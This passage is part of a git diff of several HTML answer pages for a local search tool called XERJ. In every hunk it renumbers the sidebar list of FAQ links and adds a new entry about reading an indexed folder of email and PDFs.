href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/reindex-taking-forever.html b/landing/answers/reindex-taking-forever.htmlindex 0fe4ce917..d7fed68ab 100644--- a/landing/answers/reindex-taking-forever.html+++ b/landing/answers/reindex-taking-forever.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class="active"><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class="active"><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/rerank-search-results-calibrated-judge.html b/landing/answers/rerank-search-results-calibrated-judge.htmlindex f2d145a7e..d48a115a7 100644--- a/landing/answers/rerank-search-results-calibrated-judge.html+++ b/landing/answers/rerank-search-results-calibrated-judge.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class="active"><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class="active"><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/resume-interrupted-autoindex-run.html b/landing/answers/resume-interrupted-autoindex-run.htmlindex 55e2c7734..fc74a7484 100644--- a/landing/answers/resume-interrupted-autoindex-run.html+++ b/landing/answers/resume-interrupted-autoindex-run.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class="active"><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span 